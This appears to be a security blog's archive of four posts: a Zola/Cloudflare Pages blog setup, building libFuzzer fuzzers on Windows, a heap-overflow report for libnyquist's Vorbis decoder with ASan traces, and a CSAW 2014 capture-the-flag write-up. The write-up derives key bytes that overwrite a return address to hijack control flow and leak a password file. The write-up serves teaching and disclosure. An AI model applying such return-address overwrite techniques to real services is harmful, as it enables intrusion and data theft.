Security and stuff

Building a blog with Zola and Cloudflare Pages

2024-05-03T00:00:00+00:00

I'm trying to get back into the habit of writing posts and I figured I could explain my current setup for this blog. This is meant both to help people that would be interested in standing up a similar site and help me to remember how this thing even works.</p>

My current setup: Zola and Cloudflare Pages</h2>

Zola</h3>
Zola</a> is a static site generator. In a nutshell, you edit Markdown files, generate the content with `zola build</code> and host the html files wherever you want. You can use zola serve</code> to start a local web server, the content is hot reloaded everytime you save. The source code of my blog is hosted in a` `github repo</a>.</p>`
`The Zola website provides a good selection of themes</a>. I went with Serene</a> to which I did very light changes to the font and color schemes.</p>`

Cloudflare Pages</h3>
For the hosting I'm using Cloudflare Pages</a>. When you create a site, you connect it to a git repository (github or gitlab), specify the framework to use and that's pretty much it. You get a pages.dev</code> domain for your site, you can also define a custom domain. The free plan offers unlimited requests and bandwidth, and 500 builds per month which is plenty for my needs. Cloudflare Pages now supports Zola out of the box.</p>
Every time I push to the main</code> branch it deploys the site. Cloudflare generates preview links like ea49e660.ekse.pages.dev</code> when pushing to  branches that begin with 'preview-'.</p>
</p>
My experience has been quite pleasant so far, the site takes less than a minute to deploy. I found the management panel a bit confusing at first but I like it now that got used to where things are.</p>
Umami</h3>
Umami</a> is a privacy preserving analytics service. You get page views by path and referrers which is frankly all I really care about. You can also see what browsers, platform (desktop or mobile) and countries visits are coming from which is nice to see. The interface is clean and very simple to use. The free tier includes 10K monthly events which is again more than enough for my needs.</p>
</p>
Adding it was quite straightforward as the Serene theme supports it. I created my instance, enabled in config.toml, set my website_id and url in theme.toml and that was it.</p>
# in config.toml</span></span>
[</span>extra</span>]</span></span>
analytics</span> = "</span>umami</span>"</span></span>
</span>
# in templates/theme.toml</span></span>
[</span>extra.umami</span>]</span></span>
website_id</span> = "</span>8a6655dc-02d7-4510-befc-e854f7da87a6</span>"</span></span>
src</span> = "</span>https://analytics.us.umami.is/script.js</span>"</span></span></code></pre>Previous platforms</h2>
I used different components over the years to host my blog, I'll briefly describe them and why I decided to change.</p>
Blogger</h3>
I started my blog on Blogger</a>. It was fairly simple to create posts with the graphical editor but customization was done in html which wasn't great. I had to do syntax highlighting of code manually with a javascript library, which is something you get out of the box with tools like Jekyll, Zola and Hugo.</p>
At some point Google also redesigned the look and feel of Blogger which in my opinion was worst than the previous look.</p>
Github Pages</h3>
My next platform was Github Pages</a>. It's honestly quite cool, you create a repo named yourusername.github.io</code>, add markdown pages to it and you automatically get a site on that domain.</p>
The part that wasn't as nice is that it uses Jekyll which is in Ruby, I remember often losing time getting the packages to work locally with bundler</code>. (I later learned that it is also possible to host content generated by other tools with some Github Actions hackery</a>).</p>
As a fan of Rust I decided to try Zola at some point. A neat advantage it has over Jekyll is that you can use a precompiled binary which saves time fighting with dependencies.</p>
Hosting on a VM on Oracle Cloud Free Tier</h3>
Around the same time that I started experimenting with Zola, I learned that you can get a free ARM virtual machine with the free tier of Oracle Cloud</a>.</p>
My setup was to clone my git repository on that VM, generate the content and serve it with nginx. I would generally work on the content locally, but when I wanted to do quick changes I would edit the files directly on the VM, serve it with zola serve</code> and browse from my system with an ssh port forward.</p>
This setup worked well but its not as convenient as a push and deploy</em> system like Github Pages and Cloudflare Pages. It also felt wasteful to have a VM spun up all the time for a blog that barely gets any traffic.</p>
Cloudflare Web Analytics</h3>
I gave Cloudflare Web Analytics</a> a try, it is built as a privacy-preserving alternative to Google Analytics. However to achieve its privacy guarantees, Cloudflare bundles visit data together, for sites like mine that get rare visits the data wasn't really useful, I would see that my site had a number of visits in the past week but couldn't see which pages were visited.</p>



Building libFuzzer fuzzers on Windows with cmake/Visual Studio
2019-08-07T00:00:00+00:00
libFuzzer is awesome and is currently my go-to fuzzing tool, so I was super excited last week when I learned that both
libFuzzer</a> and AddressSanitizer</a>
are now supported on Windows! I put together a couple notes on how I got it to work with a cmake + Visual Studio project.</p>
Configuration steps</h2>
The first step is to install a snapshot of clang 9 which can be downloaded from https://llvm.org/builds/</a>.</p>
We also need to install the clang support for Visual Studio. In Visual Studio Installer, it can be found under
"Individual Components" as "C++ Clang-cl for v142 build tools".</p>
Project generation</h2>
The next step is to generate the cmake build using the ClangCl</code> toolset. Here WASM_FUZZING</code> is a flag specific to
libwasm-vulnerable</code> that is used to build the fuzzers (see the project
CMakeLists.txt</a> for details).</p>
cmake -G "Visual Studio 16" -T ClangCl -DWASM_FUZZING=ON ../..</span></span></code></pre>
Next, open the libwasm.sln</code> project in Visual Studio. A limitation of libFuzzer on Windows is that incremental builds
are not supported. To avoid this issue, I build the project in "Release" mode.</p>
Another limitation of libFuzzer on Windows is that it only supports the /MT runtime library (it will fail to compile
with /MD or /MTd). We need to change it for both libwasm and FuzzLibwasm. To do that, right-click on the project,
select "Properties", then under "Configuration properties" / "C/C++" / "Code generation", set "Runtime library" to
"Multithread /MT".</p>
The last thing we need to fix is adding the libFuzzer libraries as they are not automatically added. To do that, open
the Properties page of FuzzLibwasm, go to "Linking" / "Entries" and open "Additional Dependencies". Add the following
lines (the paths might be different on your system).</p>
C:\Program Files\LLVM\lib\clang\9.0.0\lib\windows\clang_rt.asan-preinit-x86_64.lib</span></span>
C:\Program Files\LLVM\lib\clang\9.0.0\lib\windows\clang_rt.asan-x86_64.lib</span></span>
C:\Program Files\LLVM\lib\clang\9.0.0\lib\windows\clang_rt.asan_cxx-x86_64.lib</span></span>
C:\Program Files\LLVM\lib\clang\9.0.0\lib\windows\clang_rt.fuzzer-x86_64.lib</span></span></code></pre>
FuzzLibwasm should now build and run normally (and should find a crash almost right away).</p>
C:\projects\Security\libwasm-vulnerable\builds\Fuzzing2>fuzzers\Release\FuzzLibwasm.exe</span></span>
INFO: Seed: 3746082236</span></span>
INFO: Loaded 1 modules   (331 inline 8-bit counters): 331 [00007FF72401B908, 00007FF72401BA53),</span></span>
INFO: Loaded 1 PC tables (331 PCs): 331 [00007FF723FF3EA8,00007FF723FF5358),</span></span>
INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes</span></span>
INFO: A corpus is not provided, starting from an empty corpus</span></span>
#2      INITED cov: 6 ft: 6 corp: 1/1b exec/s: 0 rss: 62Mb</span></span>
=================================================================</span></span>
==20928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x11e35af80893 at pc 0x7ff723e68a02 bp 0x001618efee90 sp 0x001618efeed8</span></span>
READ of size 1 at 0x11e35af80893 thread T0</span></span>
    #0 0x7ff723e68a01 in WasmDisasm_NextInstruction+0x6d1 (C:\projects\Security\libwasm-vulnerable\builds\Fuzzing2\fuzzers\Release\FuzzLibwasm.exe+0x140008a01)</span></span>
    #1 0x7ff723e61115 in LLVMFuzzerTestOneInput+0x65 (C:\projects\Security\libwasm-vulnerable\builds\Fuzzing2\fuzzers\Release\FuzzLibwasm.exe+0x140001115)</span></span>
    #2 0x7ff723eb0edd in fuzzer::Fuzzer::ExecuteCallback C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:553</span></span>
    #3 0x7ff723eb0296 in fuzzer::Fuzzer::RunOne C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:469</span></span>
    #4 0x7ff723eb2030 in fuzzer::Fuzzer::MutateAndTestOne C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:695</span></span>
    #5 0x7ff723eb2df5 in fuzzer::Fuzzer::Loop C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:831</span></span>
    #6 0x7ff723ea725f in fuzzer::FuzzerDriver C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerDriver.cpp:825</span></span>
    #7 0x7ff723ef11d2 in main C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerMain.cpp:19</span></span>
    #8 0x7ff723f49b5b in __scrt_common_main_seh d:\agent\_work\3\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288</span></span>
    #9 0x7ffa07227973 in BaseThreadInitThunk+0x13 (C:\WINDOWS\System32\KERNEL32.dll+0x180017973)</span></span>
    #10 0x7ffa0913a270 in RtlUserThreadStart+0x20 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18006a270)</span></span>
0x11e35af80893 is located 0 bytes to the right of 3-byte region [0x11e35af80890,0x11e35af80893)</span></span>
allocated by thread T0 here:</span></span>
    #0 0x7ff723e96924 in operator new[] C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\asan\asan_new_delete.cc:102</span></span>
    #1 0x7ff723eb0df1 in fuzzer::Fuzzer::ExecuteCallback C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:538</span></span>
    #2 0x7ff723eb0296 in fuzzer::Fuzzer::RunOne C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:469</span></span>
    #3 0x7ff723eb2030 in fuzzer::Fuzzer::MutateAndTestOne C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:695</span></span>
    #4 0x7ff723eb2df5 in fuzzer::Fuzzer::Loop C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerLoop.cpp:831</span></span>
    #5 0x7ff723ea725f in fuzzer::FuzzerDriver C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerDriver.cpp:825</span></span>
    #6 0x7ff723ef11d2 in main C:\src\llvm_package_363781\llvm\projects\compiler-rt\lib\fuzzer\FuzzerMain.cpp:19</span></span>
    #7 0x7ff723f49b5b in __scrt_common_main_seh d:\agent\_work\3\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288</span></span>
    #8 0x7ffa07227973 in BaseThreadInitThunk+0x13 (C:\WINDOWS\System32\KERNEL32.dll+0x180017973)</span></span>
    #9 0x7ffa0913a270 in RtlUserThreadStart+0x20 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x18006a270)</span></span>
SUMMARY: AddressSanitizer: heap-buffer-overflow (C:\projects\Security\libwasm-vulnerable\builds\Fuzzing2\fuzzers\Release\FuzzLibwasm.exe+0x140008a01) in WasmDisasm_NextInstruction+0x6d1</span></span>
Shadow bytes around the buggy address:</span></span>
  0x041bc65700c0: fa fa 05 fa fa fa fd fa fa fa 06 fa fa fa 00 00</span></span>
  0x041bc65700d0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa</span></span>
  0x041bc65700e0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa fd fd</span></span>
  0x041bc65700f0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa</span></span>
  0x041bc6570100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa</span></span>
=>0x041bc6570110: fa fa[03]fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x041bc6570120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x041bc6570130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x041bc6570140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x041bc6570150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x041bc6570160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
Shadow byte legend (one shadow byte represents 8 application bytes):</span></span>
  Addressable:           00</span></span>
  Partially addressable: 01 02 03 04 05 06 07</span></span>
  Heap left redzone:       fa</span></span>
  Freed heap region:       fd</span></span>
  Stack left redzone:      f1</span></span>
  Stack mid redzone:       f2</span></span>
  Stack right redzone:     f3</span></span>
  Stack after return:      f5</span></span>
  Stack use after scope:   f8</span></span>
  Global redzone:          f9</span></span>
  Global init order:       f6</span></span>
  Poisoned by user:        f7</span></span>
  Container overflow:      fc</span></span>
  Array cookie:            ac</span></span>
  Intra object redzone:    bb</span></span>
  ASan internal:           fe</span></span>
  Left alloca redzone:     ca</span></span>
  Right alloca redzone:    cb</span></span>
  Shadow gap:              cc</span></span>
==20928==ABORTING</span></span>
MS: 2 InsertByte-InsertByte-; base unit: adc83b19e793491b1c6ea0fd8b46cd9f32e592fc</span></span>
0x11,0xa,0x2d,</span></span>
\x11\x0a-</span></span>
artifact_prefix='./'; Test unit written to ./crash-dac57cac066b9b5ec2f3f5f64595a40609d52e80</span></span>
Base64: EQot</span></span></code></pre>


libnyquist: heap overflow in Vorbis decoder
2019-07-30T00:00:00+00:00
Summary</h2>
libnyquist</a> is a cross platform C++11 library for decoding audio (mp3, wav, ogg, opus, flac, etc). A heap overflow can happen in VorbisDecoderInternal::readInternal when the library attempts to read more frames than the allocated capacity of AudioData->samples</code>.</p>
github issue: https://github.com/ddiakopoulos/libnyquist/issues/40</a>
crash input: crash-7f190cd04b5fbf6f813db4447b5010e63867fe6a.ogg</a></p>
For reference, the fuzzer can be found on my fuzzing</a> branch. The provided sample also crashes the sample libnyquist-examples</code> that is provided with libnyquist.</p>
Detailed analysis</h2>
libnyquist can write past the capacity of samples</code> in AudioData. With the provided crash sample, this happens when totalFramesRead</code> reaches the value 19840.</p>
VorbisDecoderInternal::readInternal</code> contains the following code. The write overflow happens in d->samples[totalFramesRead] = buffer[ch][i]</code>.</p>
for</span> (</span>int</span> i </span>=</span> 0</span>;</span> i </span><</span> framesRead</span>; ++</span>i</span>)</span></span>
{</span></span>
    for</span>(</span>int</span> ch </span>=</span> 0</span>;</span> ch </span><</span> d</span>-></span>channelCount</span>;</span> ch</span>++</span>)</span></span>
    {</span></span>
        d</span>-></span>samples</span>[</span>totalFramesRead</span>]</span> =</span> buffer</span>[</span>ch</span>][</span>i</span>]</span>;</span></span>
        totalFramesRead</span>++;</span></span>
    }</span></span>
}</span></span></code></pre>
The size of samples is set in VorbisDecoderInternal::loadAudioData.</p>
auto totalSamples </span>= size_t</span>(</span>getTotalSamples</span>())</span>;</span></span>
d</span>-></span>samples.</span>resize</span>(</span>totalSamples </span>*</span> d</span>-></span>channelCount</span>)</span>;</span></span></code></pre>
getTotalSamples</code> is defined as follows.</p>
inline int64_t</span> getTotalSamples</span>()</span> const</span> {</span> return int64_t</span>(</span>ov_pcm_total</span>(</span>const_cast</span><</span>OggVorbis_File </span>*></span>(</span>fileHandle</span>),</span> -</span>1</span>))</span>;</span> }</span></span></code></pre>
In the crash sample, totalSamples</code> is 9920, d->channelCount is 2, so samples is set to size 19840.</p>
AddressSanitizer report:</p>
==12481==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000027e00 at pc 0x000000822064 bp 0x7ffcb604acd0 sp 0x7ffcb604acc8</span></span>
WRITE of size 4 at 0x631000027e00 thread T0</span></span>
    #0 0x822063 in VorbisDecoderInternal::readInternal(unsigned long, unsigned long) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:105:49</span></span>
    #1 0x820788 in VorbisDecoderInternal::loadAudioData(void*, ov_callbacks) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:248:14</span></span>
    #2 0x81ef9a in VorbisDecoderInternal::VorbisDecoderInternal(nqr::AudioData*, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:56:13</span></span>
    #3 0x81ea87 in nqr::VorbisDecoder::LoadFromBuffer(nqr::AudioData*, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:264:27</span></span>
    #4 0x5347bc in nqr::NyquistIO::Load(nqr::AudioData*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/Common.cpp:133:22</span></span>
    #5 0x52a6b3 in Fuzz_Decoder(unsigned char const*, unsigned long) /home/ekse/git/libnyquist/builds/Fuzzing/../../fuzzers/FuzzNyquist.cpp:20:12</span></span>
    #6 0x52ad5b in LLVMFuzzerTestOneInput /home/ekse/git/libnyquist/builds/Fuzzing/../../fuzzers/FuzzNyquist.cpp:28:5</span></span>
    #7 0x43231a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x43231a)</span></span>
    #8 0x424c5c in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x424c5c)</span></span>
    #9 0x42a0e1 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x42a0e1)</span></span>
    #10 0x44c702 in main (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x44c702)</span></span>
    #11 0x7fadf79f1b6a in __libc_start_main /build/glibc-KRRWSm/glibc-2.29/csu/../csu/libc-start.c:308:16</span></span>
    #12 0x423539 in _start (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x423539)</span></span>
0x631000027e00 is located 0 bytes to the right of 79360-byte region [0x631000014800,0x631000027e00)</span></span>
allocated by thread T0 here:</span></span>
    #0 0x527512 in operator new(unsigned long) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x527512)</span></span>
    #1 0x56ae67 in __gnu_cxx::new_allocator<float>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/ext/new_allocator.h:111:27</span></span>
    #2 0x56ad6c in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/alloc_traits.h:436:20</span></span>
    #3 0x56a409 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/stl_vector.h:296:20</span></span>
    #4 0x5696b5 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/vector.tcc:604:34</span></span>
    #5 0x566e8c in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/stl_vector.h:827:4</span></span>
    #6 0x82076f in VorbisDecoderInternal::loadAudioData(void*, ov_callbacks) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:246:20</span></span>
    #7 0x81ef9a in VorbisDecoderInternal::VorbisDecoderInternal(nqr::AudioData*, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:56:13</span></span>
    #8 0x81ea87 in nqr::VorbisDecoder::LoadFromBuffer(nqr::AudioData*, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:264:27</span></span>
    #9 0x5347bc in nqr::NyquistIO::Load(nqr::AudioData*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::vector<unsigned char, std::allocator<unsigned char> > const&) /home/ekse/git/libnyquist/builds/Fuzzing/../../src/Common.cpp:133:22</span></span>
    #10 0x52a6b3 in Fuzz_Decoder(unsigned char const*, unsigned long) /home/ekse/git/libnyquist/builds/Fuzzing/../../fuzzers/FuzzNyquist.cpp:20:12</span></span>
    #11 0x52ad5b in LLVMFuzzerTestOneInput /home/ekse/git/libnyquist/builds/Fuzzing/../../fuzzers/FuzzNyquist.cpp:28:5</span></span>
    #12 0x43231a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x43231a)</span></span>
    #13 0x424c5c in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x424c5c)</span></span>
    #14 0x42a0e1 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x42a0e1)</span></span>
    #15 0x44c702 in main (/home/ekse/git/libnyquist/builds/Fuzzing/fuzzers/FuzzNyquist+0x44c702)</span></span>
    #16 0x7fadf79f1b6a in __libc_start_main /build/glibc-KRRWSm/glibc-2.29/csu/../csu/libc-start.c:308:16</span></span>
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ekse/git/libnyquist/builds/Fuzzing/../../src/VorbisDecoder.cpp:105:49 in VorbisDecoderInternal::readInternal(unsigned long, unsigned long)</span></span>
Shadow bytes around the buggy address:</span></span>
  0x0c627fffcf70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></span>
  0x0c627fffcf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></span>
  0x0c627fffcf90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></span>
  0x0c627fffcfa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></span>
  0x0c627fffcfb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span></span>
=>0x0c627fffcfc0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x0c627fffcfd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x0c627fffcfe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x0c627fffcff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x0c627fffd000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
  0x0c627fffd010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa</span></span>
Shadow byte legend (one shadow byte represents 8 application bytes):</span></span>
  Addressable:           00</span></span>
  Partially addressable: 01 02 03 04 05 06 07</span></span>
  Heap left redzone:       fa</span></span>
  Freed heap region:       fd</span></span>
  Stack left redzone:      f1</span></span>
  Stack mid redzone:       f2</span></span>
  Stack right redzone:     f3</span></span>
  Stack after return:      f5</span></span>
  Stack use after scope:   f8</span></span>
  Global redzone:          f9</span></span>
  Global init order:       f6</span></span>
  Poisoned by user:        f7</span></span>
  Container overflow:      fc</span></span>
  Array cookie:            ac</span></span>
  Intra object redzone:    bb</span></span>
  ASan internal:           fe</span></span>
  Left alloca redzone:     ca</span></span>
  Right alloca redzone:    cb</span></span>
  Shadow gap:              cc</span></span>
==12481==ABORTING</span></span></code></pre>


CSAW 2014 Exploit 500 writeup : xorcise
2014-09-21T00:00:00+00:00
The CSAW 2014</a> Exploit500 challenge was a Linux 32-bit network service for which the executable
and the source code were provided (I saved a copy of the source code here</a>).
The service accepts packets defined by the structure cipher_data and first applies a decryption loop to the received data.</p>
struct</span> cipher_data</span></span>
{</span></span>
    uint8_t</span> length</span>;</span></span>
    uint8_t</span> key</span>[</span>8</span>]</span>;</span></span>
    uint8_t</span> bytes</span>[</span>128</span>]</span>;</span></span>
}</span>;</span></span>
typedef struct</span> cipher_data cipher_data</span>;</span></span></code></pre>
The service provides multiple commands, however the 2 interesting ones read_file</code> and system</code> require your packet to be authenticated.
The authentication verification is done in is_authenticated()</code> and computes an authentication checksum based on a password read from
the local file 'password.txt'. This check does not seem to be vulnerable.</p>
My teammate EiNSTeiN_ discovered that there is a flaw in the decipher()</code> method that does the decryption of the data. The function
allocates a buffer buf</code> which will contain the decrypted data, the allocated size is MAX_BLOCKS * BLOCK_SIZE</code> which is 128 bytes. The
copy of the packet bytes to the buffer is done safely with memcpy.</p>
#</span>define</span> BLOCK_SIZE</span> 8</span></span>
#</span>define</span> MAX_BLOCKS</span> 16</span></span>
[</span>...</span>]</span></span>
memcpy</span>(</span>buf</span>,</span> data</span>-></span>bytes</span>,</span> sizeof</span>(</span>buf</span>))</span>;</span></span></code></pre>
There is also a check to ensure that the decryption loop does not process more than the size of buf[]</code>.</p>
if</span> ((</span>data</span>-></span>length </span>/</span> BLOCK_SIZE</span>)</span> ></span> MAX_BLOCKS</span>)</span></span>
{</span></span>
    data</span>-></span>length</span> =</span> BLOCK_SIZE </span>*</span> MAX_BLOCKS</span>;</span></span>
}</span></span></code></pre>
But this check is flawed because of rounding; we can pass a value of 135 which will pass the check (135 / 8 equals 16 which is not bigger than MAX_BLOCKS</code>).
The decryption loop is applied by blocks of 8 bytes, so we are able to apply it to 8 bytes outside the bounds of buf[]</code>.</p>
for</span> (</span>loop </span>=</span> 0</span>;</span> loop </span><</span> data</span>-></span>length</span>;</span> loop </span>+=</span> 8</span>)</span></span>
{</span></span>
    for</span> (</span>block_index </span>=</span> 0</span>;</span> block_index </span><</span> 8</span>; ++</span>block_index</span>)</span></span>
    {</span></span>
        buf</span>[</span>loop</span>+</span>block_index</span>]</span> ^=</span> (</span>xor_mask</span>^</span>data</span>-></span>key</span>[</span>block_index</span>])</span>;</span></span>
    }</span></span>
}</span></span></code></pre>
If we look at the stack layout of decipher()</code> we see that those 8 bytes are the variables xor_mask</code>, block_index</code> and the first 3 bytes
of loop.</p>
-00000095 buf             db 128 dup(?)</span></span>
-00000015 xor_mask        db ?</span></span>
-00000014 block_index     dd ?</span></span>
-00000010 loop            dd ?</span></span></code></pre>Exploitation Strategy</h2>
The strategy I went for is to modify the value of loop</code> to make it point on the return address of decipher()</code> and modify its 2 first bytes
to make it return somewhere else. Hopefully we can find an interesting place to jump to.</p>
Let's go through the modification of the bytes one at a time. The first one is xor_mask</code>. At this point block_index</code> equals 0. We know 2
of the values in the decryption (xor_mask</code> = 0x8F and buf[loop+block_index]</code> = 0x8F), so we can set key[block_index]</code> to get the output
value we want. Let's set xor_mask</code> to 0 to make the next steps easier. 0x8F ^ 0x8F ^ 0x00</code> equals 0x00, so this is the value we will put
at key[0]</code>.</p>
variable: prev_val   block_index  new_val key_value</span></span>
xor_mask: 0x8F       0            0x00    key[0] = 0x00</span></span></code></pre>
Next up is the first byte of block_index</code>, at this point it is equal to 1. We will keep its value at 1 so the decryption loop continues
normally. As we have modified xor_mask</code> to 0x00, the computation is now 0x01 ^ 0x01 ^ 0x00</code> which equals 0x00, we put this value in
key[1]</code>. We will also leave the other bytes of block_index</code> unchanged. Here is the updated table:</p>
variable       : prev_val   block_index  new_val key_value</span></span>
xor_mask       : 0x8F       0            0x00    key[0] = 0x00</span></span>
block_index[0] : 0x01       1            0x01    key[1] = 0x00</span></span>
block_index[1] : 0x00       2            0x00    key[2] = 0x00</span></span>
block_index[2] : 0x00       3            0x00    key[3] = 0x00</span></span>
block_index[3] : 0x00       4            0x00    key[4] = 0x00</span></span></code></pre>
We can now modify the first byte of loop</code>. Its current value is 0x80 (128), the value we need to make buf[loop+block_index]</code> modify the
return address at this point is 0x93, so that will give us key[5] = 0x13</code>.</p>
variable: prev_val   block_index  new_val key_value</span></span>
loop[0] : 0x80       5            0x93    key[5] = 0x13</span></span></code></pre>
We are now able to modify the return address of decipher()</code>, we're making good progress. So where do we want to make the program jump?
There is a call to read_file()</code> in process_connection()</code>, this command reads the content of a file and sends its content back to us,
we could use it to read the content of 'password.txt'.</p>
.text:08049279                 mov     eax, [ebp+var_10]</span></span>
.text:0804927C                 add     eax, 8</span></span>
.text:0804927F                 sub     esp, 8</span></span>
.text:08049282                 push    eax</span></span>
.text:08049283                 push    offset aReadFileReques ; "Read File Request: %s\n"</span></span>
.text:08049288                 call    _printf</span></span>
.text:0804928D                 add     esp, 10h</span></span>
.text:08049290                 mov     eax, [ebp+var_10]</span></span>
.text:08049293                 add     eax, 8</span></span>
.text:08049296                 sub     esp, 8</span></span>
.text:08049299                 push    eax             ; filename</span></span>
.text:0804929A                 push    [ebp+fd]        ; fd</span></span>
.text:0804929D                 call    read_file</span></span></code></pre>
There is a little detail to keep in mind, there is a stack adjustment after the call to decipher()</code>. As we are hijacking the return address
the stack will not be properly readjusted.</p>
.text:0804918F                 call    decipher</span></span>
.text:08049194                 add     esp, 10h</span></span>
;274     packet = (request *)&decrypted;</span></span>
.text:08049197                 lea     eax, [ebp+var_11D]</span></span>
.text:0804919D                 mov     [ebp+var_10], eax</span></span></code></pre>
My first thought was to jump at 0x0804928D</code> which does the same stack adjustment and then sets the correct parameters for the call to
read_file()</code>. However this approach does not work as the value of var_10</code> is set only after the call to decipher()</code>. Bummer.</p>
I then noticed that the address of filename</code> is passed via eax at 0x08049299</code> and by luck at the end of decipher()</code> eax points inside buf[]</code>. So the last thing I needed to do was to adjust the initial packet content so that it contained password.txt\x00' XOR 0x8F XOR the key</code>. Here is the final content of the variable smashing table.</p>
variable       : prev_val   block_index  new_val key_value</span></span>
xor_mask       : 0x8F       0            0x00    key[0] = 0x00</span></span>
block_index[0] : 0x01       1            0x01    key[1] = 0x00</span></span>
block_index[1] : 0x00       2            0x00    key[2] = 0x00</span></span>
block_index[2] : 0x00       3            0x00    key[3] = 0x00</span></span>
block_index[3] : 0x00       4            0x00    key[4] = 0x00</span></span>
loop[0]        : 0x80       5            0x93    key[5] = 0x13</span></span>
at this point buf[loop+block_index] overwrites retaddr</span></span>
retaddr[1]     : 0x94       6            0x99    key[6] = 0x0d</span></span>
retaddr[2]     : 0x91       7            0x92    key[7] = 0x03</span></span></code></pre>Putting it all together</h2>
Below is the source code of my exploit, I used the pwntools</a> python library by Gallopsled which
saved me a ton of time, definitely check it out.</p>
from</span> pwn</span> import *</span></span>
#sock = remote("127.0.0.1", 24001)</span></span>
